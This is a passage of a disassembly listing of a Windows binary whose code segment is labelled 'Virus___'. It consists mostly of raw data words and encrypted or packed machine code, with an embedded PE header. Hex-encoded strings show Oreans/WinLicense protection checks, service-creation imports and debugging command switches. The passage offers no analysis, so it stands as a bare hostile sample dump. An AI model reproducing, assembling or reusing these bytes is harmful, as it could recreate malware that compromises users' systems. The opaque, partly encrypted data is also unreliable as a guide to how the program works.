		dd 0FE30F8B2h, 0F75B68CCh, 4FD9ED6Dh, 485B5840h, 5FE44801h
		dd 0A3E84C75h, 0EDF82C03h, 7DE94AD9h, 0C193332h, 0A880F764h
		dd 4E45D950h, 0C85B125Bh, 69D0C136h, 1670E060h,	0ED7E3703h
		dd 62ABB87Eh, 1919CA55h, 0C292A7DEh, 0C38590F6h, 0C1881B98h
		dd 0B387D76Dh, 0C8469FAh, 0D07C5959h, 9683C595h, 0E755CA83h
		dd 0B0140E25h, 3D7BDB68h, 40093D28h, 72F959ECh,	87CB8BDEh
		dd 0FC0F11DFh, 0DDCADE98h, 11000006h, 2A860D4Dh, 1AB63D1Dh
		dd 2C800B4Bh, 63CF4414h, 0BBFB70E0h, 0B4B144Dh,	46162C80h
		dd 73E361CDh, 411154F8h, 37A4EDCAh, 30F8B2EBh, 5BC36755h
		dd 23B06CF7h, 3A584DDFh, 7415441h, 0BF8A2612h, 1582D99Fh
		dd 7C48DB92h, 743331B7h, 0D8CD8DD8h, 37273D91h,	859F5BCh
		dd 94D07C48h, 1B2E82C4h, 0C4D9773Bh, 98DE34E6h,	66F8Ch
		dd 0BF9FA300h, 8BCB9834h, 0C595AC00h, 0F262E24Eh, 0CA8AD579h
		dd 0AAB70141h, 9E32B999h, 0AF0388C8h, 9E32B999h, 27008BCBh
		dd 0B121FD6Eh, 0AD9F30F8h, 0ABABBE09h, 59F94EE2h, 783E0A1Fh
		dd 87C191D4h, 75B27h, 0B48313BFh, 8326h, 0ABBE8200h, 47015112h
		dd 68CC4752h, 584D7981h, 38182D3Ah, 1156FAB3h, 2D5FCACBh
		dd 0B4A12EC4h, 88D3E7F2h, 42D1980Bh, 33324978h,	0AB347D68h
		dd 0A67BA9FCh, 0F6BF8BB4h, 74E0E5Ah, 8A94074Eh,	0F630FB25h
		dd 25AE70E3h, 0AE3D30FBh, 30FB2554h, 0AABFD9CCh, 0C35C159Eh
		dd 0D167CD90h, 369AAEFBh, 226B2232h, 1DE2B6BDh,	0BE2D5640h
		dd 30FB0064h, 0BBFDC9DCh, 56065EF2h, 0ADEB6BFAh, 0A1988CB8h
		dd 3C000005h, 0EDABABBEh, 0E7AE01B6h, 8FD1FB4Bh, 0C33966CCh
		dd 72672134h, 8F9C0F46h, 0EB333304h, 0F6ED31A2h, 465330FAh
		dd 0F174D853h, 91D787D8h, 411A9184h, 85165F52h,	29D4605Ah
		dd 93DA9386h, 7036263Fh, 0DC7CC965h, 17BB8F9Ah,	1F798B51h
		dd 0C7E0E0FCh, 99063269h, 6174E197h, 520246EAh,	0ADADB814h
		dd 89EC71E1h, 3024622Bh, 534h, 77FC5CE6h, 47CC8CDBh, 71FA5AEBh
		dd 58D383DDh, 60EB6BF4h, 0B28DD620h, 0BD8529A2h, 0AEBA169Dh
		dd 0BC8925AEh, 7930179Ch, 0F8B018EAh, 1EBA8830h, 0EDABABBEh
		dd 12540441h, 8074CEB2h, 7F39192Ch, 2ACD5E6Ah, 0D53A584Fh
		dd 83124589h, 0FECAAEB4h, 0BE0AFFFFh, 0B6EDABABh, 3D442401h
		dd 148BCB98h, 65708B95h, 1B64BF2Ch, 43DC3333h, 6BC70030h
		dd 961D0874h, 66F673DFh, 278A0952h, 5A0EFD6Eh, 0FFEA29D5h
		dd 68D52AB9h, 0CEB23A57h, 152C8074h, 22160345h,	83F9197Eh
		dd 1555CB4h, 84F80000h,	0DD24938Bh, 584DB44Eh, 95392C3Ah
		dd 0D29B8ECEh, 3320EE41h, 4E071233h, 3DAE62E2h,	30FB1AE1h
		dd 195F4A5Fh, 0C350380Ch, 0D9510594h, 266F4271h, 0AC15D6B5h
		dd 71372262h, 733A6D2Ah, 58EF0DE0h, 0A9E0F559h,	96A94005h
		dd 0F458D3C6h, 27ADE171h, 0A4FC0E49h, 43AF6E2h,	52EC0000h
		dd 1E258902h, 4819B53Eh, 152F8308h, 0E162CE45h,	4CBAFA71h
		dd 870C4C17h, 0B03B1B2Bh, 8308481Ch, 0B13A1A2Fh, 0B24CDF96h
		dd 2E30F8AFh, 4A49B81Ch, 0CB672E67h, 8A9FD979h,	0B7BF2DBEh
		dd 5F163331h, 0F8B332CCh, 8FBBAE30h, 19B5FCE9h,	0DD420B4Bh
		dd 2085935Eh, 62E9DD2Fh, 9CDA7ACEh, 0F30F9CD5h,	6D30F8B7h
		dd 65E04C78h, 0C03DB9F5h, 0C08634E6h, 3C3D4h, 6BEB7700h
		dd 67F74CE0h, 510140ECh, 6EEE76DAh, 66F649E5h, 7E63ADEDh
		dd 52FE75E5h, 63CF4414h, 52FE75E5h, 0EBCC4717h,	0AFED31A2h
		dd 615330F8h, 0ABABBEC5h, 893BA4EDh, 6C56EC19h,	6DED7BD7h
		dd 5970F559h, 185E4B0Bh, 507AC4B8h, 3A576DC7h, 0EFB01448h
		dd 5133B483h, 97FFFFFDh, 7D81125Bh, 0E33A584Dh,	0DB6EC2F6h
		dd 31663D7Bh, 6FA4377Eh, 0EB33333Ah, 4A1BB7FEh,	0F5594C0Ah
		dd 0BDA8EE6Eh, 84A60289h, 23268AB0h, 54607533h,	6C25880Fh
		dd 0A7B78925h, 212F0093h, 46533333h, 0AD67BD2Eh, 0B7FCC90Bh
		dd 5111BDF4h, 0D34CE5Dh, 0B9AC990Eh, 0CBFFEAACh, 57A1182h
		dd 938691E9h, 33309CD5h, 79C96523h, 9F8A9FD9h, 0BCC3F0ABh
		dd 4105D32Fh, 4D584D92h, 0CE7A9704h, 97828B1Bh,	67F772DEh
		dd 550540ECh, 0D19AA719h, 0E1A5CCCh, 2D4h, 971C3C06h, 0A72C2C3Bh
		dd 911A3A0Bh, 0B833233Dh, 800B4B14h, 0D26D76C0h, 9DA50982h
		dd 0CE9A36BDh, 9CA9058Eh, 591037BCh, 0F8AE38CAh, 3E9AA830h
		dd 2E674A49h, 31B749BDh, 0FBB2A733h, 7A1D7564h,	0CEFA3897h
		dd 0E362CE87h, 14203573h, 4A15ACB8h, 0F5594C0Ah, 0B9ACEA6Ah
		dd 0BD8B27ACh, 0F277DB9Dh, 15C22E62h, 430534E7h, 26757h
		dd 97C79B00h, 0A3B3B01Ch, 9DBD8428h, 0AAAABA16h, 0A2B28D21h
		dd 0C21F6929h, 0F65AD181h, 0C76BE070h, 0F65AD181h, 4F68E373h
		dd 0AD899506h, 0C5F730F8h, 3B4A4961h, 584D56A8h, 0CADFCA3Ah
		dd 38182F83h, 8CF46B7Eh, 0FBDA6320h, 0B92A6357h, 3331544Dh
		dd 0B6FFB6A3h, 54926CFFh, 1B0E30F8h, 96C6832Fh,	5356461Dh
		dd 0A0B0B61Ah, 0AE4EDD94h, 2630F854h, 5422FC6Fh, 8B9E30F8h
		dd 783E1E27h, 923E786Dh, 48C781D1h, 0B2FB5BE4h,	4E08481Eh
		dd 0BFE46F5Bh, 0AAE3AAFDh, 9BA84106h, 0FDE8AEBBh, 54C05AC9h
		dd 253030F8h, 0DA7ACF63h, 0AABF139Ch, 6AAE3AAh,	41541242h
		dd 0F85450D2h, 91A5B030h, 0A3B3B61Ah, 4F1873E5h, 42DC4F06h
		dd 0BE30F854h, 5FE39FABh, 134301ADh, 9EBE8B27h,	0ACACB915h
		dd 5DFD46EAh, 0EC760A1Bh, 43C888DDh, 0CB5854EFh, 30F85437h
		dd 66B69150h, 83E5ED88h, 53C58396h, 8A266F38h, 3AE011BBh
		dd 0AF72D237h, 70F28EBAh, 5010BCh, 0CB675346h, 0FF53D878h
		dd 0F4BDF464h, 0F8FD9B67h, 24100530h, 507ACE62h, 9424C5CFh
		dd 283D9149h, 0D8743D28h, 6CEC748Dh, 1E2A3F2Ah,	0FF433F58h
		dd 0ABBE57E8h, 0EDF8EDABh, 667FCA66h, 0D080C6DFh, 3A9683C5h
		dd 793F2A2Ah, 0A4F6DAEAh, 0ABB7CBB8h, 8209491Ch, 723B1B2Eh
		dd 6D2386EDh, 88BC6CAFh, 2DE162CEh, 2C1964BEh, 1511689h
		dd 98345247h, 1D8297C7h, 0F675D20Eh, 44257C1h, 0FDBB9BA8h
		dd 7411151h, 0C090D2AEh, 6671CDB1h, 54F873E3h, 5C074111h
		dd 541D5457h, 2C283BC7h, 84B0A589h, 2A495ECDh, 0B4A18207h
		dd 0C81251FDh, 728E4C69h, 5E6A7FBDh, 0A6098ED5h, 0D6747CEFh
		dd 0FC637ABFh, 13BB3154h, 0AACCF8C6h, 6CAE70E3h, 7128929h
		dd 6DF85412h, 24B0B54h,	296C8D91h, 0F3E6F389h, 9D91D478h
		dd 0B2213131h, 89296C70h, 4C0A4A1Ah, 0D2933F59h, 0C4829782h
		dd 96D4FC57h, 0D36F13B6h, 5AD181C4h, 0A5E373F6h, 500040ECh
		dd 8478C864h, 0BAD50B17h, 7560754Ah, 16285433h,	0DD7DCA66h
		dd 500045E9h, 62F277DBh, 15BF872Bh, 31606609h, 5F190C0Fh
		dd 0A5E373F3h, 0D791A5B0h, 2535329Eh, 56427663h, 10h, 6CF75BF2h
		dd 0EC36A5ECh, 543A584Dh, 82267541h, 0F2B4A4BEh, 0D4B0B5Eh
		dd 0F5B3A3A1h, 0F490959h, 0F6B0A0A3h, 0F49095Ah, 0F7B1A1A3h
		dd 0C4A0A5Bh, 0F5B3A3A0h, 0E78957D8h, 4C781h, 0B9510000h
		dd 4, 8759CF29h, 535C243Ch, 0C381E389h,	4, 8704EB83h, 895C241Ch
		dd 8952243Ch, 4C281E2h,	83000000h, 148704EAh, 2C895C24h
		dd 9B026824h, 3C8B095Fh, 4C48124h, 54000000h, 81242C8Bh
		dd 4C4h
		dd 0F0BA5200h, 0C1010145h, 0E28107EAh, 67977303h, 0FE05C281h
		dd 0EA01FFFDh, 8B5A3A89h, 8951242Ch, 4C181E1h, 83000000h
		dd 0C8704C1h, 3C8B5C24h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 0DB35E95Ch
; ---------------------------------------------------------------------------
		std
		inc	dword ptr [edi]


loc_594E7B:				; CODE XREF: Virus___:loc_5945E7j
		mov	eax, 95FA2B1h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 66C195A4h, 194D06A3h, 45E16B29h, 7F891F0Bh, 66FE8BF1h
		dd 5079BCD0h, 0F7B943Dh, 482319C9h, 11E46692h, 0FE8h, 8ED29700h
		dd 6B36668Dh, 3E60AFD9h, 7B966D32h, 9242BA66h, 11860F59h
		dd 0E8000000h, 6, 0D1C4D97Eh, 81668C27h, 5E21A3CEh, 5A44C181h
		dd 66500000h, 7E9EDB81h, 0FC0335Eh, 34FFF7B7h, 0D3BF0F08h
		dd 0DE95Fh, 8A910000h, 5340DF94h, 22E85F0Ah, 8121866Dh
		dd 7529B6EFh, 800F76h, 81000000h, 0C8C55EF7h, 0EF81F87Ah
		dd 2C7B27B4h, 89D9B70Fh, 0F60013Ch, 1682h, 11E900h, 0BA9C0000h
		dd 0DC9CE4Eh, 42004036h, 0AA16D849h, 0FFDDF27h,	8361DAB7h
		dd 514803E8h, 5ED2B70Fh, 0A668F881h, 850FFFFFh,	0FFFFFF92h
		dd 0A5C38166h, 8CE962h,	83600000h, 5D05D1BDh, 840F0009h
		dd 5, 77E9h, 80006A00h,	850F303Eh, 8, 0E946006Ah, 35h
		dd 0F333E80h, 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh
		dd 306A0000h, 13E946h, 3E800000h, 8850F35h, 6A000000h
		dd 2E94640h, 6A000000h,	203E8000h, 12850Fh, 7E800000h
		dd 850F0001h, 8, 0E908C483h, 14h, 33DD858Dh, 5090095Dh
		dd 96509690h, 95FF006Ah, 95D1659h, 85C6C361h, 95D3335h
		dd 2C1D684Dh, 3481D2D7h, 0E25AB524h, 11B5FF76h,	8D095D07h
		dd 5D397385h, 89D0FF09h, 5D165985h, 0AAE909h, 6F530000h
		dd 61777466h, 575C6572h, 694C6E69h, 736E6563h, 68430065h
		dd 496B6365h, 7058004Eh, 45746F72h, 746978h, 63656843h
		dd 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh, 69737265h
		dd 57006E6Fh, 694C6E69h, 736E6563h, 69724465h, 56726576h
		dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h
		dd 636E6174h, 78450065h, 6B4F7469h, 6F725000h, 4E4963h
		dd 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h
		dd 54005455h, 4E4970h, 3 dup(0)
		dd 77DEB908h, 77DFD5BBh, 596E9h, 84858900h, 8D095FA5h
		dd 5FA58085h, 858D5009h, 95FA4EAh, 16850h, 95FF8000h, 95FA590h
		dd 0B5FF196Ah, 95FA584h, 6A016Ah, 0A519858Dh, 0FF50095Fh
		dd 5FA580B5h, 9195FF09h, 0FF095D30h, 5FA580B5h,	8C95FF09h
		dd 0FF095FA5h, 5FA580B5h, 8D95FF09h, 0C3095D10h, 0A5848589h
		dd 858D095Fh, 95FA580h,	0EA858D50h, 50095FA4h, 168h, 9095FF80h
		dd 6A095FA5h, 84858D04h, 50095FA5h, 6A046Ah, 0A543858Dh
		dd 0FF50095Fh, 5FA580B5h, 9195FF09h, 0FF095D30h, 5FA580B5h
		dd 8C95FF09h, 0FF095FA5h, 5FA580B5h, 8D95FF09h,	0C3095D10h
		dd 0A5848589h, 858D095Fh, 95FA580h, 0EA858D50h,	50095FA4h
		dd 168h, 9095FF80h, 6A095FA5h, 84858D04h, 50095FA5h, 6A046Ah
		dd 0A52B858Dh, 0FF50095Fh, 5FA580B5h, 9195FF09h, 0FF095D30h
		dd 5FA580B5h, 8C95FF09h, 0FF095FA5h, 5FA580B5h,	8D95FF09h
		dd 0C3095D10h, 0A5848589h, 858D095Fh, 95FA580h,	0EA858D50h
		dd 50095FA4h, 168h, 9095FF80h, 6A095FA5h, 84858D04h, 50095FA5h
		dd 6A046Ah, 0A556858Dh,	0FF50095Fh, 5FA580B5h, 9195FF09h
		dd 0FF095D30h, 5FA580B5h, 8C95FF09h, 0FF095FA5h, 5FA580B5h
		dd 8D95FF09h, 0C3095D10h, 0A5848589h, 858D095Fh, 95FA580h
		dd 0EA858D50h, 50095FA4h, 168h,	9095FF80h, 6A095FA5h, 84858D04h
		dd 50095FA5h, 6A046Ah, 0A506858Dh, 0FF50095Fh, 5FA580B5h
		dd 9195FF09h, 0FF095D30h, 5FA580B5h, 8C95FF09h,	0FF095FA5h
		dd 5FA580B5h, 8D95FF09h, 0C3095D10h, 2511BD83h,	0F00095Dh
		dd 0B84h, 119D8B00h, 83095D25h,	3894CC3h, 11BD83C3h, 95D25h
		dd 0B840Fh, 9D8B0000h, 95D2511h, 8950C383h, 0BD83C303h
		dd 95D2511h, 0B840F00h,	8B000000h, 5D25119Dh, 54C38309h
		dd 83C30389h, 5D2511BDh, 840F0009h, 0Bh, 25119D8Bh, 0C383095Dh
		dd 0C3038958h, 2511BD83h, 0F00095Dh, 0B84h, 119D8B00h
		dd 83095D25h, 3895CC3h,	8960C3C3h, 5FA58485h, 80858D09h
		dd 50095FA5h, 0A4EA858Dh, 6850095Fh, 80000001h,	0A59095FFh
		dd 46A095Fh, 0A584858Dh, 6A50095Fh, 8D006A04h, 5FA57B85h
		dd 0B5FF5009h, 95FA580h, 309195FFh, 0BD83095Dh,	95D1809h
		dd 0C840F00h, 0FF000000h, 5FA580B5h, 8C95FF09h,	0FF095FA5h
		dd 5FA580B5h, 8D95FF09h, 61095D10h, 858960C3h, 95FA584h
		dd 0A580858Dh, 8D50095Fh, 5FA4EA85h, 1685009h, 0FF800000h
		dd 5FA59095h, 8D046A09h, 5FA58485h, 46A5009h, 858D006Ah
		dd 95FA55Dh, 80B5FF50h,	0FF095FA5h, 5D309195h, 9BD8309h
		dd 95D18h, 0C840Fh, 0B5FF0000h,	95FA580h, 0A58C95FFh, 0B5FF095Fh
		dd 95FA580h, 108D95FFh,	0C361095Dh, 84858960h, 8D095FA5h
		dd 5FA58085h, 858D5009h, 95FA4EAh, 16850h, 95FF8000h, 95FA590h
		dd 858D046Ah, 95FA584h,	6A046A50h, 64858D00h, 50095FA5h
		dd 0A580B5FFh, 95FF095Fh, 95D3091h, 1809BD83h, 0F00095Dh
		dd 0C84h, 80B5FF00h, 0FF095FA5h, 5FA58C95h, 80B5FF09h
		dd 0FF095FA5h, 5D108D95h, 60C36109h, 0A5848589h, 858D095Fh
		dd 95FA580h, 0EA858D50h, 50095FA4h, 168h, 9095FF80h, 6A095FA5h
		dd 84858D04h, 50095FA5h, 6A046Ah, 0A56C858Dh, 0FF50095Fh
		dd 5FA580B5h, 9195FF09h, 83095D30h, 5D1809BDh, 840F0009h
		dd 0Ch,	0A580B5FFh, 95FF095Fh, 95FA58Ch, 0A580B5FFh, 95FF095Fh
		dd 95D108Dh, 8960C361h,	5FA58485h, 80858D09h, 50095FA5h
		dd 0A4EA858Dh, 6850095Fh, 80000001h, 0A59095FFh, 46A095Fh
		dd 0A584858Dh, 6A50095Fh, 8D006A04h, 5FA57385h,	0B5FF5009h
		dd 95FA580h, 309195FFh,	0BD83095Dh, 95D1809h, 0C840F00h
		dd 0FF000000h, 5FA580B5h, 8C95FF09h, 0FF095FA5h, 5FA580B5h
		dd 8D95FF09h, 61095D10h, 85C760C3h, 95FA584h, 1, 0A580858Dh
		dd 8D50095Fh, 5FA4EA85h, 2685009h, 0FF800000h, 5FA59095h
		dd 0FC00B09h, 0F84h, 8485C700h,	95FA5h,	0E9000000h, 4Dh
		dd 858D046Ah, 95FA584h,	6A046A50h, 0FE858D00h, 50095FA4h
		dd 0A580B5FFh, 95FF095Fh, 95D3091h, 840FC00Bh, 0Fh, 0A58485C7h
		dd 95Fh, 0AE90000h, 0C7000000h,	5FA58485h, 109h, 80B5FF00h
		dd 0FF095FA5h, 5D108D95h, 858B6109h, 95FA584h, 858960C3h
		dd 95FA584h, 0A580858Dh, 8D50095Fh, 5FA4EA85h, 1685009h
		dd 0FF800000h, 5FA59095h, 8D046A09h, 5FA58485h,	46A5009h
		dd 858D006Ah, 95FA4FEh,	80B5FF50h, 0FF095FA5h, 5D309195h
		dd 9BD8309h, 95D18h, 0C840Fh, 0B5FF0000h, 95FA580h, 0A58C95FFh
		dd 0B5FF095Fh, 95FA580h, 108D95FFh, 0C361095Dh,	84858960h
		dd 8D095FA5h, 5FA58085h, 858D5009h, 95FA4EAh, 16850h, 95FF8000h
		dd 95FA590h, 858D046Ah,	95FA584h, 6A046A50h, 10858D00h
		dd 50095FA5h, 0A580B5FFh, 95FF095Fh, 95D3091h, 1809BD83h
		dd 0F00095Dh, 0C84h, 80B5FF00h,	0FF095FA5h, 5FA58C95h
		dd 80B5FF09h, 0FF095FA5h, 5D108D95h, 0C6C36109h, 5D333585h
		dd 7685209h, 0FFADE47Bh, 5D0605B5h, 9D95FF09h, 89095D19h
		dd 5FA59085h, 3585C609h, 52095D33h, 2E00E568h, 5B5FF90h
		dd 0FF095D06h, 5D199D95h, 8C858909h, 0C6095FA5h, 5D333585h
		dd 35685209h, 0FFB9BF12h, 5D0605B5h, 9D95FF09h,	89095D19h
		dd 5D309185h, 3585C609h, 52095D33h, 78103468h, 5B5FF98h
		dd 0FF095D06h, 5D199D95h, 8D858909h, 0C6095D10h, 5D333585h
		dd 0D4685209h, 0FFC005DBh, 5D0605B5h, 9D95FF09h, 89095D19h
		dd 5D278185h, 14E809h, 0FE740000h, 0B2F629A4h, 33346BC3h
		dd 0D95CD2CDh, 1FF2827Ah, 0F18BB828h, 81FE8B5Ah, 6994C2h
		dd 1A41B900h, 56B30000h, 54BB32FFh, 585AEB04h, 18830Fh
		dd 0E8600000h, 0Ah, 6834E28Bh, 0C829CEEEh, 0F589010h, 84h
		dd 0F0816100h, 50C957Ch, 5E5B5652h, 0C7EAF081h,	8B666351h
		dd 7CC081FBh, 0F85C85CBh, 0BF660289h, 0EA838527h, 96BE6604h
		dd 1E981D7h, 0F000000h,	0FFFFA785h, 0AE8FFh, 221E0000h
		dd 6BB50593h, 80F0F996h, 9D82C8BBh, 0EE95F47h, 33000002h
		dd 6E6E6143h, 7720746Fh, 65746972h, 65726F20h, 2E736E61h
		dd 0A647876h, 6B614D0Dh, 75732065h, 74206572h, 20746168h
		dd 73696874h, 6C696620h, 73692065h, 746F6E20h, 69656220h
		dd 7520676Eh, 20646573h, 61207962h, 68746F6Eh, 70207265h
		dd 72676F72h, 2E6D61h, 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	95D3335h, 5B866847h, 0B5FFE3E4h
		dd 95D08F1h, 3973858Dh,	0D0FF095Dh, 10468h, 799D8D00h
		dd 53095D1Dh, 8D50D0FFh, 5FAE5BB5h, 32FE8B09h, 850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 5D333585h
		dd 0FC684309h, 0FFBC8E6Eh, 5D08F1B5h, 73858D09h, 0FF095D39h
		dd 79B58DD0h, 6A095D1Dh, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 95D3335h, 0EE566857h,	0B5FFA69Bh
		dd 95D08F1h, 3973858Dh,	0D0FF095Dh, 98DBD8Dh, 8D8D095Dh
		dd 95FAF81h, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0AC63B58Dh, 858D095Fh, 95FA432h, 8D8DD0FFh, 95D724Ch
		dd 0B8h, 0C6E1FF00h, 5D333585h,	0A7684309h, 0FFC0764Ah
		dd 5D08F1B5h, 73858D09h, 0FF095D39h, 0D0FF53D0h, 37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		db 70h
aRogramCannotBe	db 'rogram cannot be run in DOS mode.',0Dh,0Dh,0Ah
					; DATA XREF: Virus___:loc_583AEFo
		db '$',0
		align 4
		dd 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_417800+3D400h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 99E900h, 622F0000h
		dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h
		dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h
		dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh
		dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h
		dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h
		dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h
		dd 73h,	632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
		dd 83000000h, 5FE7D6BDh, 840F0009h, 0Ah, 32985C7h, 1095Dh
		dd 85C60000h, 95D3335h,	5A2D6847h, 481708Bh, 0E2126024h
		dd 0F1B5FF1Fh, 8D095D08h, 5D397385h, 0FFD0FF09h, 80F88BD0h
		dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1B840F00h
		dd 47000003h, 0F003F80h, 31184h, 1EE900h, 3F800000h, 3840F00h
		dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h,	0FFFFFFE2h
		dd 0F003F80h, 585h, 2E0E900h, 1E90000h,	47000000h, 0F203F80h
		dd 0FFFFF684h, 3F80FFh,	5850Fh,	0C3E90000h, 0E8000002h
		dd 0Ah,	0FFFFCBE9h, 2B4E9FFh, 0B58D0000h, 95FE756h, 225E8h
		dd 0EBBD0300h, 83095FE7h, 5FE7EBBDh, 840F0009h,	0Bh, 180985C7h
		dd 1095Dh, 8DC30000h, 5FE761B5h, 1FCE809h, 0BD030000h
		dd 95FE7EBh, 0E7EBBD83h, 0F00095Fh, 0B84h, 2985C700h, 1095D03h
		dd 0C3000000h, 0E7DAB58Dh, 0D3E8095Fh, 3000001h, 5FE7EBBDh
		dd 0EBBD8309h, 95FE7h, 0B840Fh,	85C70000h, 95D05D1h, 1
		dd 6BB58DC3h, 0E8095FE7h, 1AAh,	0E7EBBD03h, 0BD83095Fh
		dd 95FE7EBh, 0B840F00h,	0C7000000h, 5D032985h, 109h, 0B58DC300h
		dd 95FE775h, 181E8h, 0EBBD0300h, 83095FE7h, 5FE7EBBDh
		dd 840F0009h, 15h, 32985C7h, 1095Dh, 85C70000h,	95D1809h
		dd 1, 83B58DC3h, 0E8095FE7h, 14Eh, 0E7EBBD03h, 0BD83095Fh
		dd 95FE7EBh, 0A840F00h,	0C7000000h, 5D339985h, 109h, 8DB58D00h
		dd 0E8095FE7h, 126h, 0E7EBBD03h, 0BD83095Fh, 95FE7EBh
		dd 0A840F00h, 0C7000000h, 5D339985h, 109h, 98B58D00h, 0E8095FE7h
		dd 0FEh, 0E7EBBD03h, 0BD83095Fh, 95FE7EBh, 0A840F00h, 0C7000000h
		dd 5D18B585h, 109h, 9EB58D00h, 0E8095FE7h, 0D6h, 0E7EBBD03h
		dd 0BD83095Fh, 95FE7EBh, 0A840F00h, 0C7000000h,	5D181985h
		dd 109h, 0A4B58D00h, 0E8095FE7h, 0AEh, 0E7EBBD03h, 0BD83095Fh
		dd 95FE7EBh, 0A840F00h,	0C7000000h, 5D20E185h, 109h, 0B2B58D00h
		dd 0E8095FE7h, 86h, 0E7EBBD03h,	0BD83095Fh, 95FE7EBh, 0A840F00h
		dd 0C7000000h, 5D284985h, 109h,	0BFB58D00h, 0E8095FE7h
		dd 5Eh,	0E7EBBD03h, 0BD83095Fh,	95FE7EBh, 0A840F00h, 0C7000000h
		dd 5D14D985h, 109h, 0CAB58D00h,	0E8095FE7h, 36h, 0E7EBBD03h
		dd 0BD83095Fh, 95FE7EBh, 0A840F00h, 0C7000000h,	5D06F585h
		dd 109h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
		dd 0B960C3FFh, 1, 1CE9DE8Bh, 80000000h,	850F003Fh, 2, 178AC92Bh
		dd 840F1638h, 5, 0B9h, 80474600h, 840F003Eh, 8,	850FC90Bh
		dd 0FFFFFFD3h, 840FC90Bh, 21h, 0F003F80h, 984h,	203F8000h
		dd 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h, 0FC90B00h, 0D84h
		dd 89F32B00h, 5FE7EBB5h, 0AE909h, 85C70000h, 95FE7EBh
		dd 0
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		dw 0B8h
		dd 0B000000h, 0A840FC0h, 0C7000000h, 5D339985h,	9, 0E8C88B00h
		dd 7, 0B9931663h, 898A2E32h, 5D07A1B5h,	0BD8B5809h, 95D0CD5h
		dd 5EBBC081h, 0B58B0000h, 95D0621h, 30FADBB9h, 0ABF1816Bh
		dd 0E96B30EDh, 11h, 6911EB70h, 0DC9B26F1h, 46AF8FE2h, 6AB16C34h
		dd 0BF108B00h, 19C3A36Fh, 0C746C281h, 0DE86726h, 6E000000h
		dd 5BAC05D8h, 0C2C4B495h, 50A51B3h, 24819D89h, 815E095Dh
		dd 0DA94DFEAh, 0E9FC601Ah, 0Fh,	5E555DA9h, 0D5438399h
		dd 0C54D275h, 6166DEBAh, 0B4C2EA81h, 95893F5Dh,	95D1889h
		dd 0BD891089h, 95D0BBDh, 0F02E883h, 687h, 39B58B00h, 48095D15h
		dd 8E848h, 326F0000h, 0C348CBB4h, 858982B9h, 95D2A31h
		dd 1E9835Bh, 1D850Fh, 0DCBE0000h, 0E93FCEE7h, 2Fh, 1D061FF0h
		dd 63925B63h, 707262E6h, 0FD40951h, 31B70D30h, 5D308DB5h
		dd 0FF53E909h, 1D3DFFFFh, 6D1EC628h, 0CB23B46Ah, 14A43B69h
		dd 0E9DF7337h, 10B7h, 41564441h, 32334950h, 4C4C442Eh
		dd 65704F00h, 4D43536Eh, 67616E61h, 417265h, 61657243h
		dd 65536574h, 63697672h, 53004165h, 74726174h, 76726553h
